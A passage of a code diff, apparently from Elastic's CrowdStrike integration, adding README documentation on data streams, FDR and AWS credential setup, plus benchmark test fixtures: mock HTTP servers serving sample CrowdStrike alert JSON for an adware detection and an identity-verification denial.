+    | Data Stream   | Scope               |
+    | ------------- | ------------------- |
+    | Event Stream  | read: Event streams |
+
+## Logs
+
+### Alert
+
+This is the `Alert` dataset.
+
+#### Example
+
+{{event "alert"}}
+
+{{fields "alert"}}
+
+### Falcon
+
+Contains endpoint data and CrowdStrike Falcon platform audit data forwarded from Falcon SIEM Connector.
+
+#### Falcon SIEM Connector configuration file
+
+By default, the configuration file located at `/opt/crowdstrike/etc/cs.falconhoseclient.cfg` provides configuration options related to the events collected by Falcon SIEM Connector.
+
+Parts of the configuration file called `EventTypeCollection` and `EventSubTypeCollection` provides a list of event types that the connector should collect.
+
+Current supported event types are:
+- CustomerIOCEvent
+- DataProtectionDetectionSummaryEvent
+- DetectionSummaryEvent
+- EppDetectionSummaryEvent
+- IncidentSummaryEvent
+- UserActivityAuditEvent
+- AuthActivityAuditEvent
+- FirewallMatchEvent
+- RemoteResponseSessionStartEvent
+- RemoteResponseSessionEndEvent
+- CSPM Streaming events
+- CSPM Search events
+- IDP Incidents
+- IDP Summary events
+- Mobile Detection events
+- Recon Notification events
+- XDR Detection events
+- Scheduled Report Notification events
+
+{{fields "falcon"}}
+
+{{event "falcon"}}
+
+### FDR
+
+The CrowdStrike Falcon Data Replicator allows CrowdStrike users to replicate data from CrowdStrike
+managed S3 buckets. CrowdStrike writes notification events to a CrowdStrike managed SQS queue when new data is available in S3.
+
+This integration can be used in two ways. It can consume SQS notifications directly from the CrowdStrike managed
+SQS queue or it can be used in conjunction with the FDR tool that replicates the data to a self-managed S3 bucket
+and the integration can read from there.
+
+In both cases SQS messages are deleted after they are processed. This allows you to operate more than one Elastic
+Agent with this integration if needed and not have duplicate events, but it means you cannot ingest the data a second time.
+
+#### Use with CrowdStrike managed S3/SQS
+
+This is the simplest way to setup the integration, and also the default.
+
+You need to set the integration up with the SQS queue URL provided by Crowdstrike FDR.
+
+#### Use with FDR tool and data replicated to a self-managed S3 bucket
+
+This option can be used if you want to archive the raw CrowdStrike data.
+
+You need to follow the steps below:
+
+- Create a S3 bucket to receive the logs.
+- Create a SQS queue.
+- Configure your S3 bucket to send object created notifications to your SQS queue.
+- Follow the [FDR tool](https://github.com/CrowdStrike/FDR) instructions to replicate data to your own S3 bucket.
+- Configure the integration to read from your self-managed SQS topic.
+
+>  NOTE: While the FDR tool can replicate the files from S3 to your local file system, this integration cannot read those files because they are gzip compressed, and the log file input does not support reading compressed files.
+
+#### Configuration for the S3 input
+
+AWS credentials are required for running this integration if you want to use the S3 input.
+
+##### Configuration parameters
+* `access_key_id`: first part of access key.
+* `secret_access_key`: second part of access key.
+* `session_token`: required when using temporary security credentials.
+* `credential_profile_name`: profile name in shared credentials file.
+* `shared_credential_file`: directory of the shared credentials file.
+* `endpoint`: URL of the entry point for an AWS web service.
+* `role_arn`: AWS IAM Role to assume.
+
+##### Credential Types
+There are three types of AWS credentials can be used:
+
+- access keys,
+- temporary security credentials, and
+- IAM role ARN.
+
+##### Access keys
+
+`AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` are the two parts of access keys.
+They are long-term credentials for an IAM user, or the AWS account root user.
+Please see [AWS Access Keys and Secret Access Keys](https://docs.aws.amazon.com/general/latest/gr/aws-sec-cred-types.html#access-keys-and-secret-access-keys)
+for more details.
+
+##### Temporary security credentials
+
+Temporary security credentials has a limited lifetime and consists of an
+access key ID, a secret access key, and a security token which typically returned
+from `GetSessionToken`.
+
+MFA-enabled IAM users would need to submit an MFA code
+while calling `GetSessionToken`. `default_region` identifies the AWS Region
+whose servers you want to send your first API request to by default.
+
+This is typically the Region closest to you, but it can be any Region. Please see
+[Temporary Security Credentials](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+for more details.
+
+`sts get-session-token` AWS CLI can be used to generate temporary credentials.
+For example. with MFA-enabled:
+```js
+aws> sts get-session-token --serial-number arn:aws:iam::1234:mfa/your-email@example.com --duration-seconds 129600 --token-code 123456
+```
+
+Because temporary security credentials are short term, after they expire, the
+user needs to generate new ones and manually update the package configuration in
+order to continue collecting `aws` metrics.
+
+This will cause data loss if the configuration is not updated with new credentials before the old ones expire.
+
+##### IAM role ARN
+
+An IAM role is an IAM identity that you can create in your account that has
+specific permissions that determine what the identity can and cannot do in AWS.
+
+A role does not have standard long-term credentials such as a password or access
+keys associated with it. Instead, when you assume a role, it provides you with
+temporary security credentials for your role session.
+IAM role Amazon Resource Name (ARN) can be used to specify which AWS IAM role to assume to generate
+temporary credentials.
+
+Please see [AssumeRole API documentation](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html) for more details.
+
+##### Supported Formats
+1. Use access keys: Access keys include `access_key_id`, `secret_access_key`
+and/or `session_token`.
+2. Use `role_arn`: `role_arn` is used to specify which AWS IAM role to assume
+    for generating temporary credentials.
+    If `role_arn` is given, the package will check if access keys are given.
+    If not, the package will check for credential profile name.
+    If neither is given, default credential profile will be used.
+
+  Please make sure credentials are given under either a credential profile or
+  access keys.
+3. Use `credential_profile_name` and/or `shared_credential_file`:
+    If `access_key_id`, `secret_access_key` and `role_arn` are all not given, then
+    the package will check for `credential_profile_name`.
+    If you use different credentials for different tools or applications, you can use profiles to
+    configure multiple access keys in the same configuration file.
+    If there is no `credential_profile_name` given, the default profile will be used.
+    `shared_credential_file` is optional to specify the directory of your shared
+    credentials file.
+    If it's empty, the default directory will be used.
+    In Windows, shared credentials file is at `C:\Users\<yourUserName>\.aws\credentials`.
+    For Linux, macOS or Unix, the file locates at `~/.aws/credentials`.
+    Please see[Create Shared Credentials File](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/create-shared-credentials-file.html)
+    for more details.
+
+#### Troubleshooting
+
+##### Vulnerability API returns 404 Not found
+
+This error may occur for the following reasons:
+1. Too many records in the response.
+2. The pagination token has expired. Tokens expire 120 seconds after a call is made.
+
+To resolve this, adjust the `Batch Size` setting in the integration to reduce the number of records returned per pagination call.
+
+##### Duplicate Events
+
+The option `Enable Data Deduplication` allows you to avoid consuming duplicate events. By default, this option is set to `false`, and so duplicate events may be ingested. When this option is enabled, a [fingerprint processor](https://www.elastic.co/guide/en/elasticsearch/reference/current/fingerprint-processor.html) is used to calculate a hash from a set of Crowdstrike fields that uniquely identifies the event. The hash is assigned to the Elasticsearch [`_id`](https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-id-field.html) field that makes the document unique, thus avoiding duplicates.
+
+If duplicate events are ingested, to help find them, the integration `event.id` field is populated by concatenating a few Crowdstrike fields that uniquely identifies the event. These fields are `id`, `aid`, and `cid` from the Crowdstrike event. The fields are separated with pipe `|`.
+For example, if your Crowdstrike event contains `id: 123`, `aid: 456`, and `cid: 789` then the `event.id` would be `123|456|789`.
+
+#### Alert severity mapping
+
+The values used in `event.severity` are consistent with Elastic Detection Rules.
+
+| Severity Name              | `event.severity` |
+|----------------------------|:----------------:|
+| Low, Info or Informational | 21               |
+| Medium                     | 47               |
+| High                       | 73               |
+| Critical                   | 99               |
+
+If the severity name is not available from the original document, it is determined from the numeric severity value according to the following table.
+
+| Crowdstrike `severity` | Severity Name |
+|------------------------|:-------------:|
+| 0 - 19                 | info          |
+| 20 - 39                | low           |
+| 40 - 59                | medium        |
+| 60 - 79                | high          |
+| 80 - 100               | critical      |
+
+#### Example
+
+{{fields "fdr"}}
+
+{{event "fdr"}}
+
+### Host
+
+This is the `Host` dataset.
+
+#### Example
+
+{{event "host"}}
+
+{{fields "host"}}
+
+### Vulnerability
+
+This is the `Vulnerability` dataset.
+
+#### Example
+
+{{event "vulnerability"}}
+
+{{fields "vulnerability"}}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml
new file mode 100644
index 0000000000..774034e0c2
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml
@@ -0,0 +1,41 @@
+version: '2.3'
+services:
+  crowdstrike-alert:
+    image: docker.elastic.co/observability/stream:v0.18.0
+    hostname: crowdstrike-alert
+    ports:
+      - 8090
+    volumes:
+      - ./files:/files:ro
+    environment:
+      PORT: '8090'
+    command:
+      - http-server
+      - --addr=:8090
+      - --config=/files/config-alert.yml
+  crowdstrike-host:
+    image: docker.elastic.co/observability/stream:v0.18.0
+    hostname: crowdstrike-host
+    ports:
+      - 8090
+    volumes:
+      - ./files:/files:ro
+    environment:
+      PORT: '8090'
+    command:
+      - http-server
+      - --addr=:8090
+      - --config=/files/config-host.yml
+  crowdstrike-vulnerability:
+    image: docker.elastic.co/observability/stream:v0.18.0
+    hostname: crowdstrike-vulnerability
+    ports:
+      - 8090
+    volumes:
+      - ./files:/files:ro
+    environment:
+      PORT: '8090'
+    command:
+      - http-server
+      - --addr=:8090
+      - --config=/files/config-vulnerability.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml
new file mode 100644
index 0000000000..3857adee1a
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml
@@ -0,0 +1,475 @@
+rules:
+  - path: /oauth2/token
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - 'application/json'
+        body: |
+          {"access_token":"xxxx","expires_in":3600,"token_type":"Bearer","refresh_token":"yyyy"}
+  - path: /alerts/combined/alerts/v1
+    methods: ['POST']
+    request_body: /.*"page-2"*/
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{ minify_json `
+          {
+            "meta": {
+              "pagination": {
+                "total": 3,
+                "limit": 1
+              }
+            },
+            "errors": [],
+            "resources": [
+              {
+                "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                "alleged_filetype": "exe",
+                "cid": "92012896127c4a948236ba7601b886b0",
+                "cloud_indicator": "false",
+                "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
+                "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "confidence": 10,
+                "context_timestamp": "2023-11-03T18:00:31Z",
+                "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
+                "crawl_edge_ids": {
+                  "Sensor": [
+                    "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
+                    "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<WalY1K_h%QDBBF;_e7S!!*'!",
+                    "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
+                    "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
+                    "N6B%O'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbCuNjL#gW&=)E4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vfc.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
+                    "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
+                    "N6CU&%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_='rK/'hA\"r+L5i-*Ut5PI!!*'!",
+                    "N6CUF__;K!d$:[C93.?=/5(5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
+                    "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
+                    "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06/I6cl\"d.&=To@9kS!prs8N"
+                  ]
+                },
+                "crawl_vertex_ids": {
+                  "Sensor": [
+                    "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
+                    "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                    "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                    "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                    "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
+                    "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
+                  ]
+                },
+                "crawled_timestamp": "2023-11-03T19:00:23.985020992Z",
+                "created_timestamp": "2023-11-03T18:01:23.995794943Z",
+                "data_domains": [
+                  "Endpoint"
+                ],
+                "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
+                "device": {
+                  "agent_load_flags": "0",
+                  "agent_local_time": "2023-10-12T03:45:57.753Z",
+                  "agent_version": "7.04.17605.0",
+                  "bios_manufacturer": "ABC",
+                  "bios_version": "F8CN42WW(V2.05)",
+                  "cid": "92012896127c4a948236ba7601b886b0",
+                  "config_id_base": "65994763",
+                  "config_id_build": "17605",
+                  "config_id_platform": "3",
+                  "device_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
+                  "external_ip": "81.2.69.142",
+                  "first_seen": "2023-04-07T09:36:36Z",
+                  "groups": [
+                    "18704e21288243b58e4c76266d38caaf"
+                  ],
+                  "hostinfo": {
+                    "active_directory_dn_display": [
+                      "WinComputers",
+                      "WinComputers\\ABC"
+                    ],
+                    "domain": "ABC.LOCAL"
+                  },
+                  "hostname": "ABC709-1175",
+                  "last_seen": "2023-11-03T17:51:42Z",
+                  "local_ip": "81.2.69.142",
+                  "mac_address": "ab-21-48-61-05-b2",
+                  "machine_domain": "ABC.LOCAL",
+                  "major_version": "10",
+                  "minor_version": "0",
+                  "modified_timestamp": "2023-11-03T17:53:43Z",
+                  "os_version": "Windows11",
+                  "ou": [
+                    "ABC",
+                    "WinComputers"
+                  ],
+                  "platform_id": "0",
+                  "platform_name": "Windows",
+                  "pod_labels": null,
+                  "product_type": "1",
+                  "product_type_desc": "Workstation",
+                  "site_name": "Default-First-Site-Name",
+                  "status": "normal",
+                  "system_manufacturer": "LENOVO",
+                  "system_product_name": "20VE"
+                },
+                "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                "grandparent_details": {
+                  "cmdline": "C:\\Windows\\system32\\userinit.exe",
+                  "filename": "userinit.exe",
+                  "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
+                  "local_process_id": "4328",
+                  "md5": "b07f77fd3f9828b2c9d61f8a36609741",
+                  "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
+                  "process_id": "392734873135",
+                  "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
+                  "timestamp": "2023-10-30T16:49:19Z",
+                  "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                  "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                  "user_name": "yuvraj.mahajan"
+                },
+                "has_script_or_module_ioc": "true",
+                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
+                "ioc_context": [
+                  {
+                    "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "ioc_source": "library_load",
+                    "ioc_type": "hash_sha256",
+                    "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "type": "module"
+                  }
+                ],
+                "ioc_values": [],
+                "is_synthetic_quarantine_disposition": true,
+                "local_process_id": "17076",
+                "logon_domain": "ABSYS",
+                "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
+                "name": "PrewittPupAdwareSensorDetect-Lowest",
+                "objective": "FalconDetectionMethod",
+                "parent_details": {
+                  "cmdline": "C:\\WINDOWS\\Explorer.EXE",
+                  "filename": "explorer.exe",
+                  "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
+                  "local_process_id": "1040",
+                  "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
+                  "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
+                  "process_id": "392736520876",
+                  "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
+                  "timestamp": "2023-11-03T18:00:32Z",
+                  "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
+                  "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                  "user_name": "mohit.jha"
+                },
+                "parent_process_id": "392736520876",
+                "pattern_disposition": 2176,
+                "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
+                "pattern_disposition_details": {
+                  "blocking_unsupported_or_disabled": false,
+                  "bootup_safeguard_enabled": false,
+                  "critical_process_disabled": false,
+                  "detect": false,
+                  "fs_operation_blocked": false,
+                  "handle_operation_downgraded": false,
+                  "inddet_mask": false,
+                  "indicator": false,
+                  "kill_action_failed": false,
+                  "kill_parent": false,
+                  "kill_process": false,
+                  "kill_subprocess": false,
+                  "operation_blocked": false,
+                  "policy_disabled": false,
+                  "process_blocked": true,
+                  "quarantine_file": true,
+                  "quarantine_machine": false,
+                  "registry_operation_blocked": false,
+                  "rooting": false,
+                  "sensor_only": false,
+                  "suspend_parent": false,
+                  "suspend_process": false
+                },
+                "pattern_id": 5761,
+                "platform": "Windows",
+                "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
+                "process_end_time": "1699034421",
+                "process_id": "399748687993",
+                "process_start_time": "1699034413",
+                "product": "epp",
+                "quarantined_files": [
+                  {
+                    "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
+                    "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                    "state": "quarantined"
+                  }
+                ],
+                "scenario": "NGAV",
+                "severity": 30,
+                "sha1": "0000000000000000000000000000000000000000",
+                "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
+                "show_in_ui": true,
+                "source_products": [
+                  "FalconInsight"
+                ],
+                "source_vendors": [
+                  "CrowdStrike"
+                ],
+                "status": "new",
+                "tactic": "MachineLearning",
+                "tactic_id": "CSTA0004",
+                "technique": "Adware/PUP",
+                "technique_id": "CST0000",
+                "timestamp": "2023-11-03T18:00:22.328Z",
+                "tree_id": "1931778",
+                "tree_root": "38687993",
+                "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
+                "type": "ldt",
+                "updated_timestamp": "2023-11-03T19:00:23.985007341Z",
+                "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
+                "user_name": "mohit.jha"
+              }
+            ]
+          }
+          `}}
+  - path: /alerts/combined/alerts/v1
+    methods: ['POST']
+    request_body: /.*"page-1"*/
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{ minify_json `
+          {
+            "meta": {
+              "pagination": {
+                "total": 3,
+                "limit": 1,
+                "after": "page-2"
+              }
+            },
+            "errors": [],
+            "resources": [
+              {
+                "agent_id": "38293534662e48c99f33c61631b3536d",
+                "aggregate_id": "aggind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                "cid": "4446934rf3fdb64ec3056ddfb96e",
+                "composite_id": "874694c2ff8c43fdb64ef3056ddfb96d:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                "confidence": 80,
+                "context_timestamp": "2024-08-16T18:43:44.242Z",
+                "crawled_timestamp": "2024-08-16T18:49:02.798354466Z",
+                "created_timestamp": "2024-08-16T18:45:02.987127397Z",
+                "data_domains": [
+                  "Identity"
+                ],
+                "description": "A user denied a policy identity verification request",
+                "display_name": "Identity verification denied",
+                "end_time": "2024-08-16T18:43:44.242Z",
+                "falcon_host_link": "https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a",
+                "id": "ind:4486934rf3fmb64eg566ddfb96e:5976J98F-D91B-ABC-FF9-1191C9021fdA1E7",
+                "idp_policy_mfa_factor_type": "68709",
+                "idp_policy_mfa_provider": "10",
+                "idp_policy_rule_id": "1B82F2DE-2A08-49E0-8F85-AD46996F9A65",
+                "idp_policy_rule_name": "admin - RDP Access to TIER-0 Servers",
+                "name": "IdpPolicyIdentityVerificationDenied",
+                "objective": "Gain Access",
+                "pattern_id": 51143,
+                "poly_id": "AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==",
+                "product": "idp",
+                "scenario": "suspicious_activity",
+                "seconds_to_resolved": 3,
+                "seconds_to_triaged": 3,
+                "severity": 79,
+                "severity_name": "High",
+                "show_in_ui": true,
+                "source_account_azure_id": "65ddx-c454-45f9-9034-Fdf34353",
+                "source_account_domain": "NET.example.com",
+                "source_account_name": "admin.example",
+                "source_account_object_sid": "S-14-5424-21-dfaf3-234343-3434-1567733",
+                "source_account_sam_account_name": "admin.abcdef",
+                "source_account_upn": "admin.abcdef@example.com",
+                "source_endpoint_account_object_guid": "E436B3F0-078C-4629-9437-D3E3169147C0",
+                "source_endpoint_address_ip4": "81.2.69.144",
+                "source_endpoint_host_name": "ABDC454.net.example.com",
+                "source_endpoint_ip_address": "81.2.69.144",
+                "source_endpoint_sensor_id": "38293534662e48c99f33c61631b3536d",
+                "source_products": [
+                  "Falcon Identity Protection"
+                ],
+                "source_vendors": [
+                  "CrowdStrike"
+                ],
+                "start_time": "2024-08-19T18:43:44.242Z",
+                "status": "new",
+                "tactic": "Credential Access",
+                "tactic_id": "TA0006",
+                "technique": "Brute Force",
+                "technique_id": "T1110",
+                "tags": [
+                  "falcon_complete"
+                ],
+                "target_account_name": "HFJFJFFFFFFF$",
+                "target_endpoint_account_object_guid": "AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E",
+                "target_endpoint_account_object_sid": "S-1-5-21-746137067-1844237615-1801674531-298236",
+                "target_endpoint_host_name": "GH787.net.example.com",
+                "target_endpoint_sensor_id": "ac89a368e77a4fa5837b53c7f11fc9e7",
+                "timestamp": "2024-08-19T18:44:01.1Z",
+                "type": "idp-user-endpoint-app-info",
+                "updated_timestamp": "2024-08-19T18:49:02.798344752Z",
+                "user_name": "admin.abcdef",
+                "activity_browser": "Edge 126.0.0",
+                "activity_device": "LAPTOP-AP7299QV",
+                "activity_os": "Windows",
+                "active_directory_authentication_method": "5",
+                "activity_id": "2A8A7C96-0F17-412C-8105-94542784E00D",
+                "alert_attributes": "0",
+                "location_country_code": "US",
+                "location_latitude_as_int": 340726,
+                "location_longitude_as_int": -1182610,
+                "model_anomaly_indicators": [
+                  "ACCOUNT_IMPOSSIBLE_VELOCITY",
+                  "ENVIRONMENT_UNUSUAL_IP",
+                  "ENVIRONMENT_UNUSUAL_ISP_DOMAIN",
+                  "ISP_DATACENTER_CLASSIFICATION"
+                ],
+                "ldap_search_query_attack": "16",
+                "protocol_anomaly_classification": "1",
+                "source_account_object_guid": "9F2CE16C-4A78-42E6-8565-87147707EE79",
+                "source_endpoint_account_object_sid": "S-1-5-21-111111111-2222222-1417001333-101158",
+                "source_endpoint_ip_reputation": "128",
+                "source_ip_isp_classification": "9",
+                "source_ip_isp_domain": "sioru.com",
+                "target_domain_controller_host_name": "APINTAL19DC01",
+                "target_domain_controller_object_guid": "45A24DB7-6CD3-48C5-974F-A97159E7E2B2",
+                "target_domain_controller_object_sid": "S-1-5-21-111111111-2222222-1417001333-85512",
+                "target_service_access_identifier": "HOST/admin.example.com"
+              }
+            ]
+          }
+          `}}
+  - path: /alerts/combined/alerts/v1
+    methods: ['POST']
+    responses:
+      - status_code: 200
+        headers:
+          Content-Type:
+            - application/json
+        body: |-
+          {{ minify_json `
+          {
+            "meta": {
+              "pagination": {
+                "total": 3,
+                "limit": 1,
+                "after": "page-1"
+              }
+            },
+            "errors": [],
+            "resources": [
+              {
+                "aggregate_id": "aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9",
+                "agent_id": "58293534772e48c99f33c61631b3536d",
+                "cid": "4446934rf3fdb64ec3056ddfb96e",
+                "context_timestamp": "2024-08-19T18:43:44.242Z",
+                "composite_id": "874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9",
+                "crawled_timestamp": "2024-08-19T18:49:02.798354466Z",
+                "created_timestamp": "2024-08-19T18:45:02.987127397Z",
+                "data_domains": [
+                  "Identity"
+                ],
+                "description": "A user denied a policy identity verification request",
+                "display_name": "Identity verification denied",
+                "end_time": "2024-08-19T18:43:44.242Z",
